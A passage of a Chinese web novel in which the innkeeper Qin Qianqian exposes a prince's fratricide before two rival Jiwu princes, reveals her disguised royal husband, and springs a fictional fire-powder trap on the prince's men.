她关切地问：“你那大哥飞扬跋扈惯了，你收拾一下他也是为民除害了。”
秦千千故意曲解他的意思，往轻说他们的斗争，为的就是——
“不，这次我带人杀了他十几个手下。”
魏凌鸣知道云彩跟他大哥的过节，所以他还意有所指地看了下楼上的云彩。秦千千轻挑眉尾，表情十分畅快。
“看来今天我得替云彩敬你一杯酒了。”
160. 你为何不赶紧离开？
秦千千丝毫不掩饰脸上的得意，因为她知道自己本就该为此开心。这是她和魏凌鸣都知道的事情。
魏凌鸣脸上满是苦笑。哪怕如此，他又敬了秦千千一杯酒。
“现在我可是惹上了一摊祸事，哪怕我都为云彩报了仇，可她刚刚竟然还敢吼我。”
秦千千听得出来，他这是在抱怨。其实不止在抱怨云彩，也是在抱怨她。
可她秦千千是什么人？她从来不会被人拿捏。
秦千千翘起二郎腿，十分不解地用手指点点桌面。
“你这话我可就听不懂了，你也不是专程去为云彩报仇的，怎么就能让她对你感恩戴德的呢？”
魏林明抿着嘴点头，他不是认可这个说法，而是认可秦千千就是这种牙尖嘴利之人。
不过不得不说，她说的确是实话。自己想耍小聪明，结果又被她看破了。
楼上的云彩听不太真切，但元德却把事情听得一清二楚。
他小声跟云彩复述着楼下的经过，云彩听的很是愤怒，正准备下楼找魏凌鸣理论，却被元德拦下。
“老板不会上他的当，你也不要去强出风头。若是被他抓到把柄，以后就不好了。”
元德曾听过穆轩岚的计划。若是有可能的话，他会带着秦千千回京，而风陵这边的酒楼，便会全权交给云彩。
这件事情只是穆轩岚的打算，但元德觉得甚是有理。因此，元德不想让云彩招惹魏凌鸣。
若是真到了殿下设想的境地，那就不能保证，魏凌鸣会看在秦千千的面子上给云彩好脸色。
秦千千可以毫不给魏凌鸣留面子，但云彩不行。
不过最后能不能进行到这一步？不说元德不清楚，连穆轩岚也没有把握。
秦千千从未松口说过她的计划，她只说现在要为穆轩岚调养身体。可将来究竟怎么办？穆轩岚的心里没有谱。
好在穆轩岚执政南梁朝这几年，把朝野上下调理停当。现在朝中基本无事，他才能在风陵停留这么久。
可穆轩岚还是有私心，他想让秦千千回京都，再度经营她的清风酒楼。
两个人每次商议此事，都是无疾而终。
不过元德看得出来，殿下最近几日的精神状态一日好过一日，这也是可以预见的事情。
而她们两个人之间的情谊，元德也是看在心里。虽然他想不出两全的办法，但觉得这样维持下去也未尝不可。
因此，这几日他常常明里暗里教云彩一些本领，为殿下的计划做着周密的打算。
没一会儿功夫，楼下的魏凌鸣便又喝光一壶酒，秦千千跟他有一搭没一搭地聊着。
魏凌鸣问，秦千千答。
她并不主动提问。
几遭下来，魏凌鸣心情不似刚刚那般高涨，甚至看起来相当落寞。秦千千那般惯会审时度势之人，又怎么看不出来？
“魏公子，不如我们商议一个正经事。”
魏凌鸣这才来了兴致。他放下酒杯，朝秦千千伸了下手，摆了个请的手势。
他很好奇，秦千千究竟会跟他聊什么？
秦千千也不跟他客气，便直抒胸臆地说出来，有可能让他震怒的话。
“既是如此，你为何不赶紧离开我这酒楼？若是你大哥查过来，我这酒楼还能开的安生吗？”
虽然看不到魏凌鸣的表情如何，但房中的穆轩岚却抿嘴在偷笑。
他心想，千千啊，总是在猝不及防的地方给人致命一击。
魏凌鸣的确震惊了。他惊讶地张大嘴巴，反应过来后失声嗤笑了一下。
“好你个负心汉，不，应该是负汉心。好歹我们也是相交这么久的朋友。在我如此落寞、惆怅之时。你竟这般挖苦我。”
魏凌鸣推过酒杯，直接用小酒坛灌酒。他现在真的有点生气了。
秦千千却一脸真诚，她这么说是有她的道理。
在风陵的几年，她一直把消息捂得很好，魏凌鸣的大哥魏广遥根本不知道，云彩跟跟他手下恶人的前尘往事。
而且哪怕不知道此事，也不代表魏广遥不会来找秦千千的麻烦。实际上，这几年间魏广遥时不时就会来找事儿。
借口无非就是那几样：什么她是中土人、什么她做消息买卖这勾当，危害吉武国、再不济，就说她包庇罪犯等一些莫须有的罪名。
可以说，他是千方百计在整秦千千。
“这其中的缘由我不清楚。可我现在在想，会不会是你们兄弟之间的斗争，战火蔓延到我这里？”秦千千如是说道。
若是再给魏广遥知道，店中的云彩和他有过节，别说在这里开店，恐怕安身立命也是一个问题。
魏凌鸣这下彻底沉默了，其实他心中一直对秦千千有些歉疚。
一是因为，之前对她唐突行事，虽然被她的人揍了一顿，但魏凌鸣心中还是过意不去不去；
二就是他大哥过来寻衅滋事。绝大部分都是因为自己跟秦千千走得近，让她跟着受了委屈。
“此事是我对不起你。”魏凌鸣思来想去，还是道了歉。
秦千千说这话，也不是让他为此愧疚的，她是有别的计划。
“对不对得起，这么多年也都过去了。魏公子，我想说的是，你若是做了吉武国的王，那我这清风明月便可安稳度日了。”
说这话的时候，秦千千眼神坚定、目光炯炯的看着魏凌鸣。
这一刹那，魏凌鸣突然想起，自己为什么倾心秦千千了。
当初在街上擦肩而过，秦千千正在看向彼时还不叫清风明月的木阁楼。那时，她眼中便似今天这般，充盈着勃勃野心，魏凌鸣看清楚那个眼神，便深深陶醉其中。
再后来，秦千千与恶人做买卖险些被骗，一直悄悄跟着她的魏凌鸣便出手相助，两人这才相识。
那时的魏凌鸣没有说清自己的身份，可当他后来跟秦千千坦白身份，并且表明那恶人就是他大哥手下的党羽时，秦千千并没有很惊讶，她只是淡然地说了句早习惯了。
自从秦千千开始闯荡江湖，她新认识的人就没有一个不骗她的……这一点秦千千甚是无奈，但后来也都坦
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然接受了。
“魏公子，你到底在想什么？”
秦千千喊了他两遍，才将魏凌鸣喊得回过神来。他摇头说没什么，便问她有没有什么相助自己的计划。
秦千千点了点头，她既然能这般说，那便是有计划了。
“首先，第一条计划就是你先回宫。”
可不等秦千千说完，魏凌鸣便一拍桌子拒绝了她。
他心想，原来她拐弯抹角，还是想让自己走。
“千千，曾经我对你无礼，是我的不对，以后再也不会了，你没有必要这么防着我。我也说了，这次我来其实是有正事，而且我担心祸及你，所以是来保护你的。”
一拍桌子把秦千千吓了一跳，他她轻拍胸口长叹几口气，这才继续跟魏凌鸣分析。
“往日你住那么久，我也就由着你去了，今日怎么可能会故意赶你？我的意思是，你没有必要把争夺王位的希望，寄托于两国交战上。”
秦千千招手让人拿来一壶酒，结果送酒来的不是她们店小二，而是魏凌鸣的手下。她失笑，这家伙的手下跟自己店小二没区别，对这里都熟悉的很。
“彼时劳民伤财，那真的是你想要的吗？现在吉武国内也并不是国泰民安，所以你还有大展拳脚的机会。”
“千千，我不说你也该懂，只要大哥那个军队在，我就没有什么能争的余地。”
论智力，魏凌鸣绝对高于魏广遥。
可若说吉武国的皇帝到底在纠结什么？那便是魏广遥手下的几万精兵，那是一支战无不胜的部队。而且，他们只听命于魏广遥。
近些年，他们为吉武国南征北战，扩充了不少疆土。
这是魏凌鸣自觉不如大哥的原因，也是他们父皇，对魏广遥手下做的肮脏事，睁一只眼闭一只眼的原因。
若魏凌鸣真和魏广遥闹到要兵戈相向，争夺皇位的境地，魏凌鸣觉得自己毫无胜算。
早在几年前，魏凌鸣便开始招兵买马，为自己培养军队。他迫切想要两国交战的原因，就是想让自己的这支部队军队崭露头角。
而强大的南梁朝，则是他最中意的目标。
他不求大获全胜，攻破南梁朝，只求能让自己的军队得到历练。在长期的战争中，成长为一只可以和他大哥部下掰掰手腕的存在。
要说这个人聪明，他也是真聪明。
魏凌鸣清楚地知道，哪怕跟南梁朝真打起来，南梁朝也会因为这里地处偏远、资源贫瘠，而不会大费周章进攻吉武国。
也就是说，只要打起来，魏凌鸣就已经获胜了。
秦千千知道她是怎么想的，她从来都没有赞同过这个做法。
而魏凌鸣也不听她解释，他私心觉得秦千千是中土来的，不愿意让自己做对中土不好的事情。
“往日你从没有听过我的分析，今日我给你剖析一下。之前你总说我是中土人，维护中土。那我今天就做一个风陵人，从风陵的角度跟你讲一讲，你这个决断有多蠢。”
在直言不讳这方面，秦千千向来是最强的。
161. 一波未平一波又起
两个皇子斗争最终争的，还不是吉武国这近千里的疆域？而疆域，最终说的还是这其中的百姓。
若真的打起来，劳民伤财之事绝不会少。
到时候千疮百孔的吉武国，哪怕拥有了一只很强的队伍又能怎么样？
“我觉得你们父王，比起想要一支骁勇善战的部队，他更想要的是百姓安居乐业，国势平稳的吉武国罢了。”
“你大哥他只适合斗争，明明不是治理朝政的材料，而这一点上他远比不过你。”
穆轩岚虽然不是特别清楚吉武国的内政，但他觉得秦千千其实是分析清楚了一代国主的心态。
若是国家强盛之时，自然想向外扩张；可若实力不足之时，休养生息便是最好的国策。
穆轩岚没想到，治国之法千千也懂。
当天晚上，秦千千和魏凌鸣两个人，商议不出什么共识。不过秦芊芊跟他说的话，魏凌鸣已经听到了心里，至于接下来怎么做，那就看他怎么想的了。
晚些时候，秦千千回屋后，穆轩岚饶有兴致地看着她。秦千千说不上不安，但心中总归有些别扭。
她踱步上前，朝穆轩岚伸出手。等穆轩岚抬手与她双手交握时，秦千千这才轻轻晃着他的手，问他怎么了。
“之前知道你聪慧过人，没想到现如今更让我刮目相看了。”
说到这里，穆轩岚眼底又泛过一丝心疼。
“我原以为，在魏凌鸣的庇佑下，你应该过得会容易一些。没成想，还是让他拖累了你。”
秦千千对这些夸奖很受用，她面带微笑地耸耸鼻子，照单全收那些夸奖。
若是别人，她就不会再说那个秘密，可眼前不是别人，而是穆轩岚，秦千千对他毫无保留。
“那话其实是那本包子铺传奇里的原话，只不过我改动了些。”
书中说，盛世老板做出的包子，多花样百出；乱世老板则以守旧实惠为主。
她只是把书中卖包子用的话，照搬到了朝堂之上，没成想误打误撞还说对了。
穆轩岚这下真的颇感神奇，让他不由得感叹：
“你的领悟很透彻。触类旁通这件事情，你很有天赋啊。”
他心想千千三年读一本书，还真读出了东西的。
两个人聊着聊着，就聊起了吉武国的内政。穆轩岚问她，觉得哪位皇子会当下一任皇帝。
秦千千毫不犹豫地说了魏凌鸣，她的理由很简单，刚刚在楼下说的那些话，的确是她的心里话。
魏广遥是个将才，但不是执掌江山的那块儿料。
穆轩岚也赞同她这个说法，但他接下来的提问，角度更是刁钻。
“那你猜我会不会出兵征讨吉武国？”
秦千千当即摇头。这种弊大于利的事情，穆轩岚怎么会做，又怎么能做？
穆轩岚笑而不语，心中却暗道那可说不定。
若是日后，真把清风明月交给了云彩，而她又处理不好这里的各项事宜，难免让千千跟着担惊受怕。
那不如一劳永逸，直接铁骑踏平这里，来得安心。
可穆轩岚现在不能这么说。这一切都是他的计划，将来千千想要怎么安排云彩，那是尚未可知的事情。
秦芊芊察觉他心中有事，但他不愿说，秦千千就没再问。
穆轩兰把持了几年的朝政，他要怎么做，自然有他的道理。秦芊芊现在无暇干涉这个，她现在心中担忧一件事情……
而第二天天不亮，她最担心的事情就发生了：魏广遥直接带人围了酒楼。
彼时，穆轩岚正与秦千千一同下楼，两个人昨夜约定好了，今天秦千千要吃他做的饭。
而且给魏凌鸣下的药也起作用了，也就代表着穆轩岚可以自由活动了。
结果两人刚到二楼，魏广遥的人就在外面叫嚷。
穆轩岚实在忍无可忍，他正准备快步下楼，结果秦千千赶忙拉住他的手臂，劝他不要冲动。
“真是人算不如天算，你先去屋里避一避吧。”
穆轩岚从来没有这么憋屈过，可他又没有办法对秦千千发火，只能忿忿不平地站在原地不动，秦千千不停地哄他。
眼看外面的叫嚷声越来越大，甚至还传来有人快步冲进来的声音。秦千千也顾不得别的，拉着穆轩岚的手就往楼上走。
穆轩岚半推半就还是回了屋，在秦千千关门离开之前，她还不忘再度安慰他。那安慰是一个轻轻印在他唇上的一个吻。
“金屋藏娇这种事情。我现在做的太熟练了。”
说罢，秦千千还用手指点了点他的心口。
不用仔细摸她也知道，穆轩岚的心肯定在怦怦狂跳。往日相拥而卧的时候，她听过无数回了。
“你若是再这般撩拨我，那我就不让你出去了。”穆轩岚说得认真。
秦千千赶忙笑着认输，转身离开。
还不等秦千千下楼，魏广遥便推门而入，魏凌鸣此刻从一楼的房间中走了出来。
他早就猜到大哥今日要到，所以推了今天所有的安排，为的就是跟大哥对峙，不让大哥威胁秦千千。
“凌鸣你在这里正好，给我解释解释昨天到底是怎么回事？”魏广遥环顾四周，故意往楼上看了看。“这儿的老板呢？她怎么还不出来？”
魏凌鸣眼神一暗，他就知道大哥今天并不是冲他来，而是又要找秦千千的麻烦。
大哥毕竟还是他的大哥，虽然两个人有争储的矛盾在，但他终究是认自己这个弟弟的，故而不会过多为难他。
可大哥为难起秦千千来，就跟喝凉水一样简单。
“不会是她在一旁撺掇你我手足相残，她在一旁做收渔翁之利吧？”魏广遥言辞犀利，字字句句都是泼秦千千的脏水。
魏凌鸣还未来得及为秦千千辩解，楼上就传来一道声音，那是一阵不屑的笑声。
“大皇子这话我可就听不明白了，挑唆你们，我能从中获利什么？你们若是我对门的酒馆也就罢了。难不成你以为，我要跟你们争吉武国储君之位吗？”
刚开始跟魏广遥见的几次面，秦千千以礼相待，非常敬重他。结果发现，他就是个无理取闹之人，那就不用再讲客气什么的。
呛起他来，比呛魏凌鸣还
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要直白。
“大哥，一切都不是你想的那个样子。我只是昨天跟踪别人，结果被人从中暗算。以至于错伤了你的手下，这跟我来这里暂住没有任何关系。”
魏凌鸣赶紧解释，秦千千也从楼梯上下来，她不卑不亢地看着两位皇子，又看了看尚未开张的酒楼。
找她麻烦可以，但耽误她做生意就是不行。
“两位皇子若是想商谈事情，那便让外面的侍卫走开，我们店还要做生意。你们这般围堵我的酒楼，难不成是准备包赔我所有的损失？”
“赔你？你把我二弟迷的神魂颠倒，隔三差五往你这里跑，本王没对你赶尽杀绝，已经是最大的仁慈了，你现在还敢跟我谈赔偿。”
魏广遥常年带兵打仗，他说话声如洪钟，气势很足。现在又正在气头上，字字呵斥都听得人肝颤。
云彩悄悄跑上楼，叮嘱元德赶紧去楼下，她怕千千吃亏。而云彩则是被元德告知，他家主人在房中等她。
知道两个人的前尘经历，再加上穆轩岚对秦千千的爱屋及乌，云彩现在也不似当初那般害怕穆轩岚了。
不过，单独跟穆轩兰相处时，他身上散发出的慑人的压迫感，还是让云彩有些不自在。千千不在场，穆轩岚就变成了不苟言笑、高不可攀的冷面阎罗。
“往常，魏广遥就是这般来店中胡闹的吗？”
云彩在想自己要不要为千千卖惨，这样说不准眼前的人物就会出兵征讨这里，为千千出口气。
可转念一想，千千交代过她，穆轩岚不管问起什么事情都要如实回答，骗他的人没有好果子吃。
几番思索之下，云彩还是照实回答他。
“是，不过先前更过分，有几次他的人进了店什么都不说，开始打打砸砸。当初千千支张起店面没多久，魏广遥还把她抓走了。”
那时也是荒谬至极，风陵本就是一片中立之地，可魏广遥把秦千千看做眼中钉，愣是把她抓走，想要诬陷她泄露吉武国的要闻……
当时秦千千还没来这里多久，只是一个普普通通经营酒楼的商客而已。
也就是说，魏广遥看不顺秦千千唯一的原因，就是魏凌鸣跟她走得太近了。
穆轩岚察觉出一丝微妙的感觉。作为皇兄，魏广遥未免管得太宽了。就为了弟弟的喜好，而刁难一个人三年这着实说不过去。
“千千为此就没有说过什么，或者说她没有察觉到什么吗？”
云彩狂点头，终于有人问到这个事情了。当初秦千千说她的推断的时候，把云彩吓得差点从凳子上掉下去。
这个推断太过狂野。
“千千说……，他说魏广遥喜欢魏凌鸣。”
穆轩岚笑的几乎拿不出手中的茶盏，片刻后，他认命般点头，不愧是千千能想出来的独特见地。
看他放松了一些，云彩也跟着缓了口气。这几天的见闻让她知道穆轩岚也绝非等闲之人。云彩现在又有些大胆，便主动问他是怎么看的。
“我不能否认千千的说法是完全错误的。可比起那个荒谬的猜测，我倒觉得魏广遥是得知了千千之前的身份。”
162. 他是我的相公
出于某种原因，魏广遥不能告诉魏凌鸣实情，便只能以时不时来找茬的方式警告秦千千，远离魏凌鸣。
可千千的前尘往事，又怎么会被一个相隔千里的人知晓？千千的身份一直掩盖的很好，中间肯定哪个环节出了问题。
外面的谈话也陷入了僵局，魏广遥无论如何都要带走秦千千，魏凌鸣把秦千千挡在身后，绝不允许这样的事发生。
“二弟你跟她不会有好结果。你若是信大哥，那便把她交给我，如若不然，后果将不堪设想！”
魏广遥语气循循善诱，但眼睛却死死盯着秦千千，似乎在用眼神警告她不要胡作非为。
秦千千就只当没看到，她双手交叉抱在胸前。
自己本就是天生反骨，这些年要不是魏广遥几次三番来捣乱，她也不会想把自己的线人铺到吉武国。
毕竟，这弹丸小国实在没什么好探讨的。可为了报复魏广遥，秦千千索性把他们国中的事情摸了个清楚。
更阴差阳错地找到了，那个泄露自己身份的人——刁枫，岭北人贩子中的小头目。
当初在岭北抓捕人贩子时，刁锋先一步逃离。秦千千本以为他一个人成不了气候，结果却真因为他坏了事……
魏广遥为何视她为眼中钉？
那是因为她派人杀了藏匿在他居所的刁枫。
这是警告，也是威胁，当时秦千千就表明了她的态度，她决不怕魏广遥。
因此每次魏广遥过来寻衅滋事，秦千千从来不放在眼里，那只是他穷途末路、已然崩溃的证明而已。
正因为秦千千得知他一个不能示人的秘密，魏广遥这才会如此抓狂。
他想要秦千千闭嘴，也曾经数次派人暗杀她。可她有高人相助，暗杀从未成功过，杀手甚至都见不到秦千千的面。
当初秦千千不戳穿魏广遥，是担心他把自己的身份公诸于天下，被别人知道还好，她唯独不想让穆轩岚知道。
可现如今最大的顾虑已经没有了，秦千千心态平稳，决定道出那个秘密，是时候让这个嚣张跋扈的人付出代价了。
“据我所知，当初吉武国最受宠的皇子，应该是老四吧？那个十一二岁便展露天赋，聪慧过人的皇子。”
“你住口！”
魏广遥吼她，甚至还想冲过来抓住秦千千。魏凌鸣拦住了他，秦千千也侧身躲过他作乱的手。
不让自己说，那她偏要说。
魏凌鸣的眉头突突地跳着，他总觉得接下来的事情很重大，而且四弟的事情，千千怎么会知道？
当初，四弟偶然遇害，父皇为此黯然神伤了好久。于是，这才开始培养别的皇子继承大统。
毫不夸张地说，若是四弟还活在世上，其他人根本没有争王位的机会。
“你口口声声看不起中土人，可你却勾结中土人，杀了你四弟。那小孩儿聪慧，逃了一劫，你又让刁枫把他拐去中原，挑断手筋脚筋，丢在荒山野岭，这不就是要置他于死地？”
秦千千目光犀利地瞪着魏广遥，不用穆轩岚出兵，她也能毁了魏广遥。不止他手下的贼窝，还有魏广遥本人。
魏凌鸣脚下一个踉跄，险些没站稳。他不可思议地打量着身前与身后的人，他知道秦千千从不说假话。
可他没想到，大哥竟然是如此人面兽心之人！
魏广遥喘着粗气让所有人滚出去，好在今日他带的全是亲兵，这件事情未必能散播出去。
只要，他今日就杀了秦千千。
“大哥，你怎么能做这种糊涂的事情？”魏凌鸣不可思议地朝他吼道。
魏广遥现在彻底急了眼，他哪还顾得上什么兄弟情谊，他也原封不动地咆哮回去。
“若你是我，你也会那么做！现在你跟我争王位，不也争的头破血流？魏凌鸣，说到底你还欠我一份恩情，不是我你哪有资格争王位！”
魏凌鸣一时间陷入了沉默，他想说些反驳的话，可却说不出口。大哥说的有道理，自己无意间成了他的帮凶。
秦千千却在身后啧啧称奇，还给魏广遥鼓掌。原本她以为魏广遥只是一介武夫，没想到还有这个信口胡诌的能力。
“你少蛊惑魏凌鸣，他会争王位，但不会手足相残到你这个地步。你现在拉着他，无非是想缓解你内心的歉疚，以及让他站在你那边杀了我。”
秦千千一语道破他的想法，这下魏广遥更是挂不住脸。
他恶狠狠地指着秦千千，问魏凌鸣怎么还没有看清这个恶女人的嘴脸，为什么还会喜欢她？
“二弟你躲到一边，让我一剑杀了这个人。我们兄弟情谊自不必多说，还容许她一个外人指指点点。再说了她一直玩弄你的感情，这事你能忍？”
魏广遥决定一不做二不休，把刁枫告诉他的秦千千的往事全部说给魏凌鸣听。
“我认识的中土朋友告诉我，秦千千早在三年前就嫁给了两个男人。也就是说，她一介女子竟然有两个相公！难不成，你还想去做她的第三任相公？”
这句话是魏广遥咆哮出来的，因此余音在空旷的酒楼中绕梁不绝。
云彩听的真切，她不由得小声吸气，而后惊慌失措地看向穆轩岚。
他肯定听到了，而且他的表情很复杂。
不过云彩悄在心中盘算，千千可真是个人物。一个穆轩岚就已经如此风神俊茂了，没想到她竟然还有另一个相公！
云彩对秦千千的敬佩之意，又更深了一层。若是早给她知道，秦千千是这般奇女子，她也不会一直心中不服她了。
魏凌鸣心中十分讶异，他知道千千的身世离奇，却并不知道竟是离奇到这般程度……在短暂的思考后，他发现自己并不是不能接受。
而且眼下保住千千的命最为重要。
“大哥我不能让你杀了他。”
“你！”魏广尧被气得咬牙切齿。
他看着心情复杂却依旧决定保护秦千千的二弟，没空朝他放狠话，却扳着二弟的肩膀，歪着身子朝秦千千吼。
“你究竟给我二弟灌了什么迷魂汤？今天我一定要收了你这个妖女。”
自从他说了这件事情后，秦千千就一直哭笑不得的。看着几乎要扭打在一起的兄弟二人，
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她没成想当年的事情，竟然被刁枫传的如此离奇。
不过也情有可原，当年的事情的确太乱了。
比起眼前的乱象，秦千千在想的，其实是楼上的穆轩岚。这家伙说不定又要生气，前两日她失口提起晏信，穆轩兰就生了很久闷气……
让带病之人生气可不是个好事儿，秦千千现在把他的身体看得比什么都重要。
既然如此，那就彻底把话说明白。
“既然说到这里，那我也就承认了，我的确有相公，只不过不是两个，从始至终就只有一个。他现在就在楼上，要见一见他吗？”
魏凌鸣和魏广遥从来没说要见她相公，可秦千千却觉得这两天着实委屈了穆轩岚，她乐意给穆轩岚最大的排面。
因此，不等他们两个说什么，秦千千就转身上楼去找人。
“谁说要见你相公，你这个……”魏广遥指着秦千千就准备骂，却被魏凌鸣按下了手。“大哥，我想见一见他。”
穆轩岚自然听得清楚，他低头浅笑，脸上的表情终于生动起来。方才他还在为不能露面而生气，现如今便能与她堂堂正正站在所有人面前。
没有什么比这让他更开心的了。
穆轩岚也不是什么扭捏之人，怎么会真的等到秦千千过来迎他？他起身开门，云彩也激动得不行，跟在他身后，彼时秦芊芊正好走到二楼。
听到开门声，她便抬头看，刚好与凭栏望过来的穆轩岚隔空对望，都嘴角噙笑地看着对方。
穆轩岚转身朝楼梯走来，秦千千就一直仰着头，眼神紧紧跟随着他。
魏凌鸣看到她们二人的表情时，就知道自己三年都未曾成功的原因，那种饱含爱意的神情，昭示着两人有多爱对方。
他甚至没有心情去看，千千相公样貌如何。原本他想看看，自己与那人比如何，他就不信自己，没有一点比那个三年都不出现的人强。
可看到她的眼神后，魏凌鸣就知道自己也不用比了，他怎么可能会赢呢？输赢已经没有意义了。
秦千千本就抱着非要炫耀穆轩岚的心态，因此在他离自己还又几个台阶的时候，秦千千就笑着朝他伸出手。
穆轩岚抬手回握，秦千千亲昵地挽上他的臂弯，两个人并排走下楼。
魏广遥没有见过南梁朝的皇子，自然认不出穆轩岚的身份，魏凌鸣又被下了药，穆轩岚现在安全的不得了。
而且还会更安全。
“这就是我的相公白邵禾。”
穆轩岚旁若无人地看着秦千千，他算是懂了她的万全之策。当初自己捏造出来骗她的马甲，没成想现在被用到了这里。
哪怕魏凌鸣和魏广遥拿着这个名字去查，能找出来的，也只是穆轩岚一手捏造的信息。
“事情既然已经说清楚，魏广遥你最好立即去找你的父皇负荆请罪，不然等我把事情抖落到你父皇面前时，你就万死难解其咎了。”
魏广遥心一横，也不再推脱说自己不知道此事。
可秦千千的提议他也不能同意，以他对父皇的了解，若是让他知道此事，自己必死无疑。
163. 秦千千的加药原则…… 遇事……
今日，他一定要让秦芊芊付出代价！若是自己的二弟也放不下这件事，那么他二弟也要死在这里。
魏广遥这么想着，可他却不知道，他的所有野心都通过眼神被穆轩岚探知。
魏广遥带来的人有三四百，他自认为已经把这里围成了铁桶阵，只要他想，那就不会让人活着出去。
到风陵的这几日，足够穆轩岚调配充足的人马守在这里。因此，穆轩岚安排在这里的人更多，而且，寻常侍卫远不及他的暗卫。
在魏广遥以为万无一失的场面中，其实他的死局已经注定了。穆轩岚下楼后没说话，只是时不时观察魏凌鸣。
穆轩岚知道，千千虽然烦魏凌鸣，但也不会让自己无故诛杀他。可若是魏凌鸣自己作死，那自己刚好送他一程。
“笑话本王需要你做主？二弟，今天这人，我杀也杀得，你拦在我面前我也要杀了她。”
魏凌鸣失神已久，他现在沉默抬眸，看着秦千千不知道在想什么。听到大哥问的这句话后，他这才无奈地开口。
“大哥，你不要再执迷不悟，你犯下那种错事，早晚父皇会知道的，倒不如……”
“你真是被鬼迷了心窍。现在你还在向着这个女人说话！她都已经有了丈夫，你还要做她的外室不成？呵，她压根就不会收你。”
魏广遥已经开始口不择言，他用言语抨击着魏凌鸣,亏他平时总觉得自己二弟聪慧，现如今竟是情痴一个。
既然大家都撕破脸，魏广遥就不想再忍了。
“二弟，若是你今日跟我站在一起，那我们便屠了这酒楼，过往的事再也不提。可若是你执意与她站在一起，”魏广遥指着秦千千，“那就别怪大哥不客气了。”
秦千千面色不悦地瞪着他，来自己的地盘撒野，还敢放这种狠话？真是想死了。
穆轩岚却紧了紧环在她腰肢上的左手，神情怡然地跟她小声说道：“看来两国交战是在所难免了。”
秦千千突然抓住他的右手，不可思议地看向他，她知道穆轩兰从不开玩笑。
而这话的意思，就是他动杀心了……
虽然她毫不怀疑，南梁朝绝对有实力踏平吉武国，可战争并不是一两句话的事情，再强大的国家也会因为战乱而劳民伤财。
自从再次重逢后，秦千千从来没在国事上对穆轩岚有所建议。可现在她却忍不住，想劝他一定要三思。
眼下的情况很好解决，她们不需要跟魏广瑶拼个你死我活。只要挺过眼前，秦千千就能把消息放出去。
吉武国的皇上一旦知道这事，届时自会派人来收拾魏广遥。
让魏广遥死在这里是下下策，虽说穆轩岚的国主身份隐藏的很好，但杀了吉武国储君的事情还是太大。
轻则整个风陵遭殃，重则就是两国交战。
执掌政事这几年，穆轩岚向来是说一不二。
由于遍布天下的暗卫，不断给他输送着各种情报，他的各种政事决断也没有出过错。因此，自然不需要听那些大臣冗长的分析。
以往行事的做派，让穆轩岚下意识不想听她的看法。
可还没张口回绝，他就想起来，眼前不是那些恪守条规的大臣，而是他放在心尖上的人。
若是秦千千问，穆轩岚也不会承认，他对风铃这个地方是有滔天恨意在的。当初，千千假死后躲在这里，也在这里吃了不少苦。
从哪个方面看，他都对这个地方喜欢不起来。
穆轩岚不可能恨千千，但曾经失去过她的痛苦，自然会滋生无穷的恨意。因此他将这份恨意转嫁在外部，比如风陵，再比如欺负过千千的魏广遥。
而他对千千只有失而复得的后怕，怕她再度离开自己，怕别人把她抢了去。
这也就是为何，时至今日，他也没让千千通知其余的故交，她还活着的事情。
秦千千看着他的眼神，从晦暗不明，变得清明，可却没有回应自己。她认为，他是默许了自己的想法。
她不再等穆轩岚开口，便轻蔑地笑了一声，那笑声中满是对魏广遥的不屑。
“今日也不是你第一次来这里闹事了，你还没有搞清楚我这里有多少护卫吗？”
这个事情魏广遥再清楚不过。
据他的估算，秦千千在风陵的这三年，其实也并未赚多少银两。而她赚的钱，基本都用来请看家护院的护卫了。
毕竟，寻常酒楼谁家能请得起二百多人的护卫？
魏广遥觉得很奇怪，她拿着大把银票来这荒凉的地方开店，明显就不是奔着赚大钱来的，又花了大把的开支在维护安全上……
“我知道，不过就是二百来人而已。所以今日，我请了二倍的人过来。杀你，我这次是认真的。”
魏广遥毫不掩饰眼中森森怖人的杀意，那眼神看得穆轩岚不想再忍，他一想到千千曾经三番五次被他这般欺负，就恨不得现在就杀了他。
若说做了皇帝后，穆轩岚学到的第一件事情，就是他想干什么就干什么。
之前还有父皇以及各种条规束缚着他，而现如今，他只听从于自己的内心，没人管得住他。
若不是千千一只胳膊横在他身前，穆轩岚早就冲出去了。
察觉到穆轩岚心中的怒火正在堆叠，秦千千目光还是盯着魏广遥，但她攀在穆轩岚腰际的手，却捏了捏他的腰侧，算是安抚。
“魏将军怕是忘了，你进门又是妖女，又是毒妇的嚷我，我不做点坏事，是不是对不起你这些话？”
秦千千撤回搭在穆轩岚身前的手，打了个响指。云彩这才恍然大悟，立马跳起来，把千千门口左侧的灯笼打掉。
而后三楼栏杆上的装饰绸缎，一块接着一块滑落,无所凭依的掉在地上。接着落下来的是不计其数的白色粉末，洋洋洒洒落了一整个屋子。
穆轩岚扬起袖子为秦千千挡住脸,他自己也是低头不看上方，只盯着怀中笑得狡黠的千千。
这个装置，他在清风酒楼里见过。
那绸缎中包着的粉末，他并不知道是什么。而那时，人去楼空的清风酒楼也没人给他解释，准备这粉末的缘由。
他也没有找别人判断那粉末，这是他给自己留的念想，他要听千千亲口给他解
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释。
现在他知道了。
怪不得不管是在清风酒楼，还是在这里，千千的房间永远是最上层。
秦千千眼角闪过一抹狡诈的笑意，她用手往侧边拉开穆轩岚的衣袖，歪头看着那边挡着自己脸颊的魏家二兄弟。
魏广遥用胳膊挡住口鼻，不愿意再过多吸入这粉末。虽然不知道这粉末是何物，但看秦千千一脸坏笑，就知道一定不是什么好东西。
“你们现在没有出去，所以不清楚，那就让我给你们说说外面发生了什么？”
屋中机关启动的时候，外面屋檐下的机关也被触发，同时撒下了一种黄色的粉末，包裹了整栋酒楼。
当初在清风酒楼，秦芊芊也只在楼上备了二十斤五毒粉。
可到了风陵，这地方本就形势复杂，再加上魏广遥多次过来找茬，他每来一次，秦千千就在机关中多加五斤五毒粉。
这些年下来，秦千千估计，光楼外面应该就有百十来斤了。
这五毒粉，是她从主人的随身小札记中学到的：一白一黄分为阴阳两粉，分开并没有什么奇特的，可两者混在一起，便会立即起火。
不过这由来，她是不会跟他们说的。在风陵，她没有主人。
秦千千倒在手中一小撮白色粉末，而后让穆轩岚帮他添一点点黄色粉末在手心。
当时穆轩岚还不知道会发生什么，可看到她手心骤然起火时，他当即就握住千千的手腕，想把粉末打掉。
秦千千亲手做的东西，她自然懂得其利弊。
在燃到手心前，她赶忙把粉末吹了出去，而在空气中阳粉接触更多的阴粉后，火势突然变大，就像杂耍之人口中喷出的火焰一般。
魏广遥被吓得往后撤了一步，毕竟火焰是朝他来的……
“反正你手下人多，你可以试试，让他们进来或屋中的人出去，会不会被烈火焚身。”
